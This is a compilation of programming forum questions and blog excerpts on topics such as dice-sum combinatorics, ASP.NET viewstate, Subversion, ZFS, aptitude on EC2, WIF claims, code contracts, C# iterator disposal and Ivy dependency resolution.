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• Web Application Security: Are You Doing Enough?

  While enterprise security spends its time worrying about network-based attacks, the number of data breaches chalked up to Web applications continues to grow. Are you fighting yesterday's battles, too?

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• Calculate the number of ways to roll a certain number

  - by helloworld

  I'm a high school Computer Science student, and today I was given a problem to: Program Description: There is a belief among dice players that in throwing three dice a ten is easier to get than a nine. Can you write a program that proves or disproves this belief? Have the computer compute all the possible ways three dice can be thrown: 1 + 1 + 1, 1 + 1 + 2, 1 + 1 + 3, etc. Add up each of these possibilities and see how many give nine as the result and how many give ten. If more give ten, then the belief is proven. I quickly worked out a brute force solution, as such int sum,tens,nines; tens=nines=0; for(int i=1;i<=6;i++){ for(int j=1;j<=6;j++){ for(int k=1;k<=6;k++){ sum=i+j+k; //Ternary operators are fun! tens+=((sum==10)?1:0); nines+=((sum==9)?1:0); } } } System.out.println("There are "+tens+" ways to roll a 10"); System.out.println("There are "+nines+" ways to roll a 9"); Which works just fine, and a brute force solution is what the teacher wanted us to do. However, it doesn't scale, and I am trying to find a way to make an algorithm that can calculate the number of ways to roll n dice to get a specific number. Therefore, I started generating the number of ways to get each sum with n dice. With 1 die, there is obviously 1 solution for each. I then calculated, through brute force, the combinations with 2 and 3 dice. These are for two: There are 1 ways to roll a 2 There are 2 ways to roll a 3 There are 3 ways to roll a 4 There are 4 ways to roll a 5 There are 5 ways to roll a 6 There are 6 ways to roll a 7 There are 5 ways to roll a 8 There are 4 ways to roll a 9 There are 3 ways to roll a 10 There are 2 ways to roll a 11 There are 1 ways to roll a 12 Which looks straightforward enough; it can be calculated with a simple linear absolute value function. But then things start getting trickier. With 3: There are 1 ways to roll a 3 There are 3 ways to roll a 4 There are 6 ways to roll a 5 There are 10 ways to roll a 6 There are 15 ways to roll a 7 There are 21 ways to roll a 8 There are 25 ways to roll a 9 There are 27 ways to roll a 10 There are 27 ways to roll a 11 There are 25 ways to roll a 12 There are 21 ways to roll a 13 There are 15 ways to roll a 14 There are 10 ways to roll a 15 There are 6 ways to roll a 16 There are 3 ways to roll a 17 There are 1 ways to roll a 18 So I look at that, and I think: Cool, Triangular numbers! However, then I notice those pesky 25s and 27s. So it's obviously not triangular numbers, but still some polynomial expansion, since it's symmetric. So I take to Google, and I come across this page that goes into some detail about how to do this with math. It is fairly easy(albeit long) to find this using repeated derivatives or expansion, but it would be much harder to program that for me. I didn't quite understand the second and third answers, since I have never encountered that notation or those concepts in my math studies before. Could someone please explain how I could write a program to do this, or explain the solutions given on that page, for my own understanding of combinatorics? EDIT: I'm looking for a mathematical way to solve this, that gives an exact theoretical number, not by simulating dice

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• How to set state of controls from viewstate on non PostBack page

  - by n1zero

  I am currently saving viewstate of pages in cache. I can see that viewstate is rebinding values and controls on PostBack. It is working properly on postback. However, I need to recreate state on a non-post back page.The key i'm using for loading viewstate from cache is being passed in the querystring but I am unable to find a way to force viewstate to load on a non-post back page. Is there any way to force a load of viewstate on a Non-Postbacked Page?

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• How to tell Subversion to display binary files using an external program?

  - by lamcro

  I have some code which, like java, is stored in a binary format, and I have the applications to display and modify this code setup in the Subversion's config file. But when I run svn diff for these file, Subversion prevents me =================================================================== Cannot display: file marked as a binary type. svn:mime-type = application/octet-stream I can still view them, but only with the --force argument Since all the files in the repository are of this binary code, how can I permanently force subversion to open the files for diff or edit mode?

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• What do programs see when ZFS can't deliver uncorrupted data?

  - by Jay Kominek

  Say my program attempts a read of a byte in a file on a ZFS filesystem. ZFS can locate a copy of the necessary block, but cannot locate any copy with a valid checksum (they're all corrupted, or the only disks present have corrupted copies). What does my program see, in terms of the return value from the read, and the byte it tried to read? And is there a way to influence the behavior (under Solaris, or any other ZFS-implementing OS), that is, force failure, or force success, with potentially corrupt data?

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• Is it possible to profile memory usage of unit tests?

  - by Rowland Shaw

  I'm looking at building some unit tests to ascertain if resources are leaking (or not) using the unit testing framework that comes with Visual Studio. At present, I'm evaluating the latest version of ANTS Profiler, but I can't quite work out if it allows me to force a snapshot from code (so that I can take a snapshot, run a unit test a few hundred times, force a garbage collection, and take another snapshot, and save the results out for later analysis). Is this possible to do with ANTS/Visual Studio or should I be exploring options with other profilers?

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• .NET MVC Code Generation

  - by Josh

  Is there a way to force the MVC automatically generated code to follow the conventions you have set in your preferences? For example, I keep all curly braces on the same lines as their declaring class, method, etc, but when generating a controller, it completely disregards my settings. Is there a setting someplace to force the same code generation as other parts of project?

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• sql-server: does adding a view in merge replication forces a reinitialisation of the subscriptions

  - by Philippe Grondier

  It is possible to add both indexed and non-indexed views to a merge publication through sp_addmergearticle Stored Procedure, but it is not clear if this will force the invalidation of the existing snapshot, and consequently force the reinitialisation of the subscription. If anybody has a clue ...

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• What tricks do you use to get yourself "in the zone"?

  - by Tim Jarvis

  Once I am "in the zone" I am extremely productive and code just flows out of me, often I can get 2 or 3 days coding done in 1 day. But I find that often its hard to get to that place, I find myself procrastinating, getting distracted by other things (SO for example). Is this experience common? How do you force yourself into that state of mind? Is it simply something you can't force?

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• CruiseControl.Net allowForceBuild per project?

  - by user86431

  From reading the docs I can tell that allowForceBuild will turn off the force build button for the server. In my case I have 12 projects. Once is a weekend cleanup task. I want to remove the force build on this one project. Is there a way to turn off the button on a project level? Thanks. -

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• Clear Absolute Cache on Application close Ipad app

  - by geeth

  I am saving Images in NSCachesDirectory in a App. At the end of app execution i would like to clear all temporary cache. Is there a way to force clear all cache on application exit. I do realise the local folder keeps cache for 3 days..but my requirement is to force clear the Cache. Thx

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• ASP.NET - consume web service - https only - how?

  - by Steve

  I have web services built with ASP.NET and ASP.NET clients consuming them. When consuming the webservices, how would I to force the clients to use https? I don't want to force the whole site to use https by turning on require SSL in IIS. Can I use the IIS7 URL rewrite module to re-route http requests to https?

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• Why do I have to run aptitude update twice to install Ruby?

  - by Willie Wheeler

  Summary. I have a fresh EC2 Precise 64-bit instance (ami-82fa58eb). After launching the instance, I want to install ruby1.9.1 (among others). This doesn't work: aptitude update && apt-get -o Dpkg::Options::="--force-confnew" --force-yes -fuy dist-upgrade && aptitude install -y ruby1.9.1 ruby1.9.1-dev make as Aptitude can't find the Ruby package. But this works: aptitude update && aptitude update && apt-get -o Dpkg::Options::="--force-confnew" --force-yes -fuy dist-upgrade && aptitude install -y ruby1.9.1 ruby1.9.1-dev make I would like to understand why I need to run aptitude update twice. Details. The first and second runs look pretty different. First run: Ign http://security.ubuntu.com precise-security InRelease Ign http://archive.ubuntu.com precise InRelease Get: 1 http://security.ubuntu.com precise-security Release.gpg [198 B] Ign http://archive.ubuntu.com precise-updates InRelease Get: 2 http://security.ubuntu.com precise-security Release [49.6 kB] Hit http://archive.ubuntu.com precise Release.gpg Get: 3 http://archive.ubuntu.com precise-updates Release.gpg [198 B] Hit http://archive.ubuntu.com precise Release Get: 4 http://security.ubuntu.com precise-security/main amd64 Packages [161 kB] Get: 5 http://archive.ubuntu.com precise-updates Release [49.6 kB] Get: 6 http://security.ubuntu.com precise-security/restricted amd64 Packages [3,969 B] Hit http://archive.ubuntu.com precise/main amd64 Packages Get: 7 http://security.ubuntu.com precise-security/universe amd64 Packages [43.8 kB] Hit http://archive.ubuntu.com precise/restricted amd64 Packages Hit http://archive.ubuntu.com precise/universe amd64 Packages Get: 8 http://security.ubuntu.com precise-security/multiverse amd64 Packages [2,180 B] Hit http://archive.ubuntu.com precise/multiverse amd64 Packages Get: 9 http://security.ubuntu.com precise-security/main i386 Packages [165 kB] Hit http://archive.ubuntu.com precise/main i386 Packages Hit http://archive.ubuntu.com precise/restricted i386 Packages Hit http://archive.ubuntu.com precise/universe i386 Packages Hit http://archive.ubuntu.com precise/multiverse i386 Packages Get: 10 http://security.ubuntu.com precise-security/restricted i386 Packages [3,968 B] Hit http://archive.ubuntu.com precise/main TranslationIndex Get: 11 http://security.ubuntu.com precise-security/universe i386 Packages [44.0 kB] Hit http://archive.ubuntu.com precise/multiverse TranslationIndex Get: 12 http://security.ubuntu.com precise-security/multiverse i386 Packages [2,369 B] Get: 13 http://security.ubuntu.com precise-security/main TranslationIndex [73 B] Hit http://archive.ubuntu.com precise/restricted TranslationIndex Get: 14 http://security.ubuntu.com precise-security/multiverse TranslationIndex [71 B] Hit http://archive.ubuntu.com precise/universe TranslationIndex Get: 15 http://security.ubuntu.com precise-security/restricted TranslationIndex [71 B] Get: 16 http://archive.ubuntu.com precise-updates/main amd64 Packages [382 kB] Get: 17 http://security.ubuntu.com precise-security/universe TranslationIndex [73 B] Get: 18 http://security.ubuntu.com precise-security/main Translation-en [76.5 kB] Get: 19 http://security.ubuntu.com precise-security/multiverse Translation-en [995 B] Get: 20 http://security.ubuntu.com precise-security/restricted Translation-en [978 B] Get: 21 http://security.ubuntu.com precise-security/universe Translation-en [27.2 kB] Get: 22 http://archive.ubuntu.com precise-updates/restricted amd64 Packages [6,755 B] Get: 23 http://archive.ubuntu.com precise-updates/universe amd64 Packages [129 kB] Get: 24 http://archive.ubuntu.com precise-updates/multiverse amd64 Packages [8,677 B] Get: 25 http://archive.ubuntu.com precise-updates/main i386 Packages [387 kB] Get: 26 http://archive.ubuntu.com precise-updates/restricted i386 Packages [6,732 B] Get: 27 http://archive.ubuntu.com precise-updates/universe i386 Packages [130 kB] Get: 28 http://archive.ubuntu.com precise-updates/multiverse i386 Packages [9,672 B] Get: 29 http://archive.ubuntu.com precise-updates/main TranslationIndex [3,564 B] Get: 30 http://archive.ubuntu.com precise-updates/multiverse TranslationIndex [2,605 B] Get: 31 http://archive.ubuntu.com precise-updates/restricted TranslationIndex [2,461 B] Get: 32 http://archive.ubuntu.com precise-updates/universe TranslationIndex [2,850 B] Get: 33 http://archive.ubuntu.com precise/main Translation-en [726 kB] Get: 34 http://archive.ubuntu.com precise/multiverse Translation-en [93.4 kB] Get: 35 http://archive.ubuntu.com precise/restricted Translation-en [2,395 B] Get: 36 http://archive.ubuntu.com precise/universe Translation-en [3,341 kB] Get: 37 http://archive.ubuntu.com precise-updates/main Translation-en [188 kB] Get: 38 http://archive.ubuntu.com precise-updates/multiverse Translation-en [5,414 B] Get: 39 http://archive.ubuntu.com precise-updates/restricted Translation-en [1,484 B] Get: 40 http://archive.ubuntu.com precise-updates/universe Translation-en [77.3 kB] Ign http://archive.ubuntu.com precise/main Translation-en_US Ign http://archive.ubuntu.com precise/multiverse Translation-en_US Ign http://archive.ubuntu.com precise/restricted Translation-en_US Ign http://archive.ubuntu.com precise/universe Translation-en_US Fetched 6,137 kB in 11s (538 kB/s) Reading package lists... Second run: Ign http://us-east-1.ec2.archive.ubuntu.com precise InRelease Ign http://us-east-1.ec2.archive.ubuntu.com precise-updates InRelease Get: 1 http://us-east-1.ec2.archive.ubuntu.com precise Release.gpg [198 B] Get: 2 http://us-east-1.ec2.archive.ubuntu.com precise-updates Release.gpg [198 B] Ign http://security.ubuntu.com precise-security InRelease Get: 3 http://us-east-1.ec2.archive.ubuntu.com precise Release [49.6 kB] Get: 4 http://us-east-1.ec2.archive.ubuntu.com precise-updates Release [49.6 kB] Get: 5 http://us-east-1.ec2.archive.ubuntu.com precise/main Sources [934 kB] Hit http://security.ubuntu.com precise-security Release.gpg Hit http://security.ubuntu.com precise-security Release Get: 6 http://us-east-1.ec2.archive.ubuntu.com precise/universe Sources [5,019 kB] Get: 7 http://security.ubuntu.com precise-security/main Sources [42.8 kB] Get: 8 http://security.ubuntu.com precise-security/universe Sources [13.5 kB] Hit http://security.ubuntu.com precise-security/main amd64 Packages Hit http://security.ubuntu.com precise-security/universe amd64 Packages Hit http://security.ubuntu.com precise-security/main i386 Packages Get: 9 http://us-east-1.ec2.archive.ubuntu.com precise/main amd64 Packages [1,273 kB] Hit http://security.ubuntu.com precise-security/universe i386 Packages Get: 10 http://us-east-1.ec2.archive.ubuntu.com precise/universe amd64 Packages [4,786 kB] Hit http://security.ubuntu.com precise-security/main TranslationIndex Hit http://security.ubuntu.com precise-security/universe TranslationIndex Hit http://security.ubuntu.com precise-security/main Translation-en Hit http://security.ubuntu.com precise-security/universe Translation-en Get: 11 http://us-east-1.ec2.archive.ubuntu.com precise/main i386 Packages [1,274 kB] Get: 12 http://us-east-1.ec2.archive.ubuntu.com precise/universe i386 Packages [4,796 kB] Get: 13 http://us-east-1.ec2.archive.ubuntu.com precise/main TranslationIndex [3,706 B] Get: 14 http://us-east-1.ec2.archive.ubuntu.com precise/universe TranslationIndex [2,922 B] Get: 15 http://us-east-1.ec2.archive.ubuntu.com precise-updates/main Sources [163 kB] Get: 16 http://us-east-1.ec2.archive.ubuntu.com precise-updates/universe Sources [50.8 kB] Get: 17 http://us-east-1.ec2.archive.ubuntu.com precise-updates/main amd64 Packages [382 kB] Get: 18 http://us-east-1.ec2.archive.ubuntu.com precise-updates/universe amd64 Packages [129 kB] Get: 19 http://us-east-1.ec2.archive.ubuntu.com precise-updates/main i386 Packages [387 kB] Get: 20 http://us-east-1.ec2.archive.ubuntu.com precise-updates/universe i386 Packages [129 kB] Get: 21 http://us-east-1.ec2.archive.ubuntu.com precise-updates/main TranslationIndex [3,564 B] Get: 22 http://us-east-1.ec2.archive.ubuntu.com precise-updates/universe TranslationIndex [2,850 B] Get: 23 http://us-east-1.ec2.archive.ubuntu.com precise/main Translation-en [726 kB] Get: 24 http://us-east-1.ec2.archive.ubuntu.com precise/universe Translation-en [3,341 kB] Get: 25 http://us-east-1.ec2.archive.ubuntu.com precise-updates/main Translation-en [188 kB] Get: 26 http://us-east-1.ec2.archive.ubuntu.com precise-updates/universe Translation-en [77.1 kB] Fetched 23.8 MB in 23s (1,026 kB/s) Reading package lists... Note. My question is almost exactly the same as Running 'apt-get upgrade' on Amazon EC2 AMI twice in succession upgrades very different packages except that I'm seeing this issue with aptitude updates rather than apt-get upgrades.

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• ASP.NET and WIF: Showing custom profile username as User.Identity.Name

  - by DigiMortal

  I am building ASP.NET MVC application that uses external services to authenticate users. For ASP.NET users are fully authenticated when they are redirected back from external service. In system they are logically authenticated when they have created user profiles. In this posting I will show you how to force ASP.NET MVC controller actions to demand existence of custom user profiles. Using external authentication sources with AppFabric Suppose you want to be user-friendly and you don’t force users to keep in mind another username/password when they visit your site. You can accept logins from different popular sites like Windows Live, Facebook, Yahoo, Google and many more. If user has account in some of these services then he or she can use his or her account to log in to your site. If you have community site then you usually have support for user profiles too. Some of these providers give you some information about users and other don’t. So only thing in common you get from all those providers is some unique ID that identifies user in service uniquely. Image above shows you how new user joins your site. Existing users who already have profile are directed to users homepage after they are authenticated. You can read more about how to solve semi-authorized users problem from my blog posting ASP.NET MVC: Using ProfileRequiredAttribute to restrict access to pages. The other problem is related to usernames that we don’t get from all identity providers. Why is IIdentity.Name sometimes empty? The problem is described more specifically in my blog posting Identifying AppFabric Access Control Service users uniquely. Shortly the problem is that not all providers have claim called http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name. The following diagram illustrates what happens when user got token from AppFabric ACS and was redirected to your site. Now, when user was authenticated using Windows Live ID then we don’t have name claim in token and that’s why User.Identity.Name is empty. Okay, we can force nameidentifier to be used as name (we can do it in web.config file) but we have user profiles and we want username from profile to be shown when username is asked. Modifying name claim Now let’s force IClaimsIdentity to use username from our user profiles. You can read more about my profiles topic from my blog posting ASP.NET MVC: Using ProfileRequiredAttribute to restrict access to pages and you can find some useful extension methods for claims identity from my blog posting Identifying AppFabric Access Control Service users uniquely. Here is what we do to set User.Identity.Name: we will check if user has profile, if user has profile we will check if User.Identity.Name matches the name given by profile, if names does not match then probably identity provider returned some name for user, we will remove name claim and recreate it with correct username, we will add new name claim to claims collection. All this stuff happens in Application_AuthorizeRequest event of our web application. The code is here. protected void Application_AuthorizeRequest() {     if (string.IsNullOrEmpty(User.Identity.Name))     {         var identity = User.Identity;         var profile = identity.GetProfile();         if (profile != null)         {             if (profile.UserName != identity.Name)             {                 identity.RemoveName();                   var claim = new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", profile.UserName);                 var claimsIdentity = (IClaimsIdentity)identity;                 claimsIdentity.Claims.Add(claim);             }         }     } } RemoveName extension method is simple – it looks for name claims of IClaimsIdentity claims collection and removes them. public static void RemoveName(this IIdentity identity) {     if (identity == null)         return;       var claimsIndentity = identity as ClaimsIdentity;     if (claimsIndentity == null)         return;       for (var i = claimsIndentity.Claims.Count - 1; i >= 0; i--)     {         var claim = claimsIndentity.Claims[i];         if (claim.ClaimType == "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name")             claimsIndentity.Claims.RemoveAt(i);     } } And we are done. Now User.Identity.Name returns the username from user profile and you can use it to show username of current user everywhere in your site. Conclusion Mixing AppFabric Access Control Service and Windows Identity Foundation with custom authorization logic is not impossible but a little bit tricky. This posting finishes my little series about AppFabric ACS and WIF for this time and hopefully you found some useful tricks, tips, hacks and code pieces you can use in your own applications.

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• Interface contracts – forcing code contracts through interfaces

  - by DigiMortal

  Sometimes we need a way to make different implementations of same interface follow same rules. One option is to duplicate contracts to all implementation but this is not good option because we have duplicated code then. The other option is to force contracts to all implementations at interface level. In this posting I will show you how to do it using interface contracts and contracts class. Using code from previous example about unit testing code with code contracts I will go further and force contracts at interface level. Here is the code from previous example. Take a careful look at it because I will talk about some modifications to this code soon. public interface IRandomGenerator {     int Next(int min, int max); }   public class RandomGenerator : IRandomGenerator {     private Random _random = new Random();       public int Next(int min, int max)     {         return _random.Next(min, max);     } }    public class Randomizer {     private IRandomGenerator _generator;       private Randomizer()     {         _generator = new RandomGenerator();     }       public Randomizer(IRandomGenerator generator)     {         _generator = generator;     }       public int GetRandomFromRangeContracted(int min, int max)     {         Contract.Requires<ArgumentOutOfRangeException>(             min < max,             "Min must be less than max"         );           Contract.Ensures(             Contract.Result<int>() >= min &&             Contract.Result<int>() <= max,             "Return value is out of range"         );           return _generator.Next(min, max);     } } If we look at the GetRandomFromRangeContracted() method we can see that contracts set in this method are applicable to all implementations of IRandomGenerator interface. Although we can write new implementations as we want these implementations need exactly the same contracts. If we are using generators somewhere else then code contracts are not with them anymore. To solve the problem we will force code contracts at interface level. NB! To make the following code work you must enable Contract Reference Assembly building from project settings. Interface contracts and contracts class Interface contains no code – only definitions of members that implementing type must have. But code contracts must be defined in body of member they are part of. To get over this limitation, code contracts are defined in separate contracts class. Interface is bound to this class by special attribute and contracts class refers to interface through special attribute. Here is the IRandomGenerator with contracts and contracts class. Also I write simple fake so we can test contracts easily based only on interface mock. [ContractClass(typeof(RandomGeneratorContracts))] public interface IRandomGenerator {     int Next(int min, int max); }   [ContractClassFor(typeof(IRandomGenerator))] internal sealed class RandomGeneratorContracts : IRandomGenerator {     int IRandomGenerator.Next(int min, int max)     {         Contract.Requires<ArgumentOutOfRangeException>(                 min < max,                 "Min must be less than max"             );           Contract.Ensures(             Contract.Result<int>() >= min &&             Contract.Result<int>() <= max,             "Return value is out of range"         );           return default(int);     } }   public class RandomFake : IRandomGenerator {     private int _testValue;       public RandomGen(int testValue)     {         _testValue = testValue;     }       public int Next(int min, int max)     {         return _testValue;     } } To try out these changes use the following code. var gen = new RandomFake(3);   try {     gen.Next(10, 1); } catch(Exception ex) {     Debug.WriteLine(ex.Message); }   try {     gen.Next(5, 10); } catch(Exception ex) {     Debug.WriteLine(ex.Message); } Now we can force code contracts to all types that implement our IRandomGenerator interface and we must test only the interface to make sure that contracts are defined correctly.

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• C#: Does an IDisposable in a Halted Iterator Dispose?

  - by James Michael Hare

  If that sounds confusing, let me give you an example. Let's say you expose a method to read a database of products, and instead of returning a List<Product> you return an IEnumerable<Product> in iterator form (yield return). This accomplishes several good things: The IDataReader is not passed out of the Data Access Layer which prevents abstraction leak and resource leak potentials. You don't need to construct a full List<Product> in memory (which could be very big) if you just want to forward iterate once. If you only want to consume up to a certain point in the list, you won't incur the database cost of looking up the other items. This could give us an example like: 1: // a sample data access object class to do standard CRUD operations. 2: public class ProductDao 3: { 4: private DbProviderFactory _factory = SqlClientFactory.Instance 5:  6: // a method that would retrieve all available products 7: public IEnumerable<Product> GetAvailableProducts() 8: { 9: // must create the connection 10: using (var con = _factory.CreateConnection()) 11: { 12: con.ConnectionString = _productsConnectionString; 13: con.Open(); 14:  15: // create the command 16: using (var cmd = _factory.CreateCommand()) 17: { 18: cmd.Connection = con; 19: cmd.CommandText = _getAllProductsStoredProc; 20: cmd.CommandType = CommandType.StoredProcedure; 21:  22: // get a reader and pass back all results 23: using (var reader = cmd.ExecuteReader()) 24: { 25: while(reader.Read()) 26: { 27: yield return new Product 28: { 29: Name = reader["product_name"].ToString(), 30: ... 31: }; 32: } 33: } 34: } 35: } 36: } 37: } The database details themselves are irrelevant. I will say, though, that I'm a big fan of using the System.Data.Common classes instead of your provider specific counterparts directly (SqlCommand, OracleCommand, etc). This lets you mock your data sources easily in unit testing and also allows you to swap out your provider in one line of code. In fact, one of the shared components I'm most proud of implementing was our group's DatabaseUtility library that simplifies all the database access above into one line of code in a thread-safe and provider-neutral way. I went with my own flavor instead of the EL due to the fact I didn't want to force internal company consumers to use the EL if they didn't want to, and it made it easy to allow them to mock their database for unit testing by providing a MockCommand, MockConnection, etc that followed the System.Data.Common model. One of these days I'll blog on that if anyone's interested. Regardless, you often have situations like the above where you are consuming and iterating through a resource that must be closed once you are finished iterating. For the reasons stated above, I didn't want to return IDataReader (that would force them to remember to Dispose it), and I didn't want to return List<Product> (that would force them to hold all products in memory) -- but the first time I wrote this, I was worried. What if you never consume the last item and exit the loop? Are the reader, command, and connection all disposed correctly? Of course, I was 99.999999% sure the creators of C# had already thought of this and taken care of it, but inspection in Reflector was difficult due to the nature of the state machines yield return generates, so I decided to try a quick example program to verify whether or not Dispose() will be called when an iterator is broken from outside the iterator itself -- i.e. before the iterator reports there are no more items. So I wrote a quick Sequencer class with a Dispose() method and an iterator for it. Yes, it is COMPLETELY contrived: 1: // A disposable sequence of int -- yes this is completely contrived... 2: internal class Sequencer : IDisposable 3: { 4: private int _i = 0; 5: private readonly object _mutex = new object(); 6:  7: // Constructs an int sequence. 8: public Sequencer(int start) 9: { 10: _i = start; 11: } 12:  13: // Gets the next integer 14: public int GetNext() 15: { 16: lock (_mutex) 17: { 18: return _i++; 19: } 20: } 21:  22: // Dispose the sequence of integers. 23: public void Dispose() 24: { 25: // force output immediately (flush the buffer) 26: Console.WriteLine("Disposed with last sequence number of {0}!", _i); 27: Console.Out.Flush(); 28: } 29: } And then I created a generator (infinite-loop iterator) that did the using block for auto-Disposal: 1: // simply defines an extension method off of an int to start a sequence 2: public static class SequencerExtensions 3: { 4: // generates an infinite sequence starting at the specified number 5: public static IEnumerable<int> GetSequence(this int starter) 6: { 7: // note the using here, will call Dispose() when block terminated. 8: using (var seq = new Sequencer(starter)) 9: { 10: // infinite loop on this generator, means must be bounded by caller! 11: while(true) 12: { 13: yield return seq.GetNext(); 14: } 15: } 16: } 17: } This is really the same conundrum as the database problem originally posed. Here we are using iteration (yield return) over a large collection (infinite sequence of integers). If we cut the sequence short by breaking iteration, will that using block exit and hence, Dispose be called? Well, let's see: 1: // The test program class 2: public class IteratorTest 3: { 4: // The main test method. 5: public static void Main() 6: { 7: Console.WriteLine("Going to consume 10 of infinite items"); 8: Console.Out.Flush(); 9:  10: foreach(var i in 0.GetSequence()) 11: { 12: // could use TakeWhile, but wanted to output right at break... 13: if(i >= 10) 14: { 15: Console.WriteLine("Breaking now!"); 16: Console.Out.Flush(); 17: break; 18: } 19:  20: Console.WriteLine(i); 21: Console.Out.Flush(); 22: } 23:  24: Console.WriteLine("Done with loop."); 25: Console.Out.Flush(); 26: } 27: } So, what do we see? Do we see the "Disposed" message from our dispose, or did the Dispose get skipped because from an "eyeball" perspective we should be locked in that infinite generator loop? Here's the results: 1: Going to consume 10 of infinite items 2: 0 3: 1 4: 2 5: 3 6: 4 7: 5 8: 6 9: 7 10: 8 11: 9 12: Breaking now! 13: Disposed with last sequence number of 11! 14: Done with loop. Yes indeed, when we break the loop, the state machine that C# generates for yield iterate exits the iteration through the using blocks and auto-disposes the IDisposable correctly. I must admit, though, the first time I wrote one, I began to wonder and that led to this test. If you've never seen iterators before (I wrote a previous entry here) the infinite loop may throw you, but you have to keep in mind it is not a linear piece of code, that every time you hit a "yield return" it cedes control back to the state machine generated for the iterator. And this state machine, I'm happy to say, is smart enough to clean up the using blocks correctly. I suspected those wily guys and gals at Microsoft engineered it well, and I wasn't disappointed. But, I've been bitten by assumptions before, so it's good to test and see. Yes, maybe you knew it would or figured it would, but isn't it nice to know? And as those campy 80s G.I. Joe cartoon public service reminders always taught us, "Knowing is half the battle...". Technorati Tags: C#,.NET

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• Password Cracking in 2010 and Beyond

  - by mttr

  I have looked a bit into cryptography and related matters during the last couple of days and am pretty confused by now. I have a question about password strength and am hoping that someone can clear up my confusion by sharing how they think through the following questions. I am becoming obsessed about these things, but need to spend my time otherwise :-) Let's assume we have an eight-digit password that consists of upper and lower-case alphabetic characters, numbers and common symbols. This means we have 8^96 ~= 7.2 quadrillion different possible passwords. As I understand there are at least two approaches to breaking this password. One is to try a brute-force attack where we try to guess each possible combination of characters. How many passwords can modern processors (in 2010, Core i7 Extreme for eg) guess per second (how many instructions does a single password guess take and why)? My guess would be that it takes a modern processor in the order of years to break such a password. Another approach would consist of obtaining a hash of my password as stored by operating systems and then search for collisions. Depending on the type of hash used, we might get the password a lot quicker than by the bruteforce attack. A number of questions about this: Is the assertion in the above sentence correct? How do I think about the time it takes to find collisions for MD4, MD5, etc. hashes? Where does my Snow Leopard store my password hash and what hashing algorithm does it use? And finally, regardless of the strength of file encryption using AES-128/256, the weak link is still my en/decryption password used. Even if breaking the ciphered text would take longer than the lifetime of the universe, a brute-force attack on my de/encryption password (guess password, then try to decrypt file, try next password...), might succeed a lot earlier than the end of the universe. Is that correct? I would be very grateful, if people could have mercy on me and help me think through these probably simple questions, so that I can get back to work.

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• Does Ivy's url resolver support transitive retrieval?

  - by Sean

  For some reason I can't seem to resolve the dependencies of my dependencies when using a url resolver to specify a repository's location. However, when using the ibiblio resolver, I am able to retrieve them. For example: <!-- Ivy File --> <ivy-module version="1.0"> <info organisation="org.apache" module="chained-resolvers"/> <dependencies> <dependency org="commons-lang" name="commons-lang" rev="2.0" conf="default"/> <dependency org="checkstyle" name="checkstyle" rev="5.0"/> </dependencies> </ivy-module> <!-- ivysettings file --> <ivysettings> <settings defaultResolver="chained"/> <resolvers> <chain name="chained"> <url name="custom-repo"> <ivy pattern="http://my.internal.domain.name/ivy/[organisation]/[module]/[revision]/ivy-[revision].xml"/> <artifact pattern="http://my.internal.domain.name/ivy/[organisation]/[module]/[revision]/[artifact]-[revision].[ext]"/> </url> <url name="ibiblio-mirror" m2compatible="true"> <artifact pattern="http://mirrors.ibiblio.org/pub/mirrors/maven2/[organisation]/[module]/[revision]/[artifact]-[revision].[ext]" /> </url> <ibiblio name="ibiblio" m2compatible="true"/> </chain> </resolvers> </ivysettings> <!-- checkstyle ivy.xml file generated from pom via ivy:install task --> <?xml version="1.0" encoding="UTF-8"?> <ivy-module version="1.0" xmlns:m="http://ant.apache.org/ivy/maven"> <info organisation="checkstyle" module="checkstyle" revision="5.0" status="release" publication="20090509202448" namespace="maven2" > <license name="GNU Lesser General Public License" url="http://www.gnu.org/licenses/lgpl.txt" /> <description homepage="http://checkstyle.sourceforge.net/"> Checkstyle is a development tool to help programmers write Java code that adheres to a coding standard </description> </info> <configurations> <conf name="default" visibility="public" description="runtime dependencies and master artifact can be used with this conf" extends="runtime,master"/> <conf name="master" visibility="public" description="contains only the artifact published by this module itself, with no transitive dependencies"/> <conf name="compile" visibility="public" description="this is the default scope, used if none is specified. Compile dependencies are available in all classpaths."/> <conf name="provided" visibility="public" description="this is much like compile, but indicates you expect the JDK or a container to provide it. It is only available on the compilation classpath, and is not transitive."/> <conf name="runtime" visibility="public" description="this scope indicates that the dependency is not required for compilation, but is for execution. It is in the runtime and test classpaths, but not the compile classpath." extends="compile"/> <conf name="test" visibility="private" description="this scope indicates that the dependency is not required for normal use of the application, and is only available for the test compilation and execution phases." extends="runtime"/> <conf name="system" visibility="public" description="this scope is similar to provided except that you have to provide the JAR which contains it explicitly. The artifact is always available and is not looked up in a repository."/> <conf name="sources" visibility="public" description="this configuration contains the source artifact of this module, if any."/> <conf name="javadoc" visibility="public" description="this configuration contains the javadoc artifact of this module, if any."/> <conf name="optional" visibility="public" description="contains all optional dependencies"/> </configurations> <publications> <artifact name="checkstyle" type="jar" ext="jar" conf="master"/> </publications> <dependencies> <dependency org="antlr" name="antlr" rev="2.7.6" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="apache" name="commons-beanutils-core" rev="1.7.0" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="apache" name="commons-cli" rev="1.0" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="apache" name="commons-logging" rev="1.0.3" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="com.google.collections" name="google-collections" rev="0.9" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> </dependencies> </ivy-module> Using the "ibiblio" resolver I have no problem resolving my project's two dependencies (commons-lang 2.0 and checkstyle 5.0) and checkstyle's dependencies. However, when attempting to exclusively use the "custom-repo" or "ibiblio-mirror" resolvers, I am able to resolve my project's two explicitly defined dependencies, but not checkstyle's dependencies. Is this possible? Any help would be greatly appreciated.

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• In .NET, how do I prevent, or handle, tampering with form data of disabled fields before submission?

  - by David

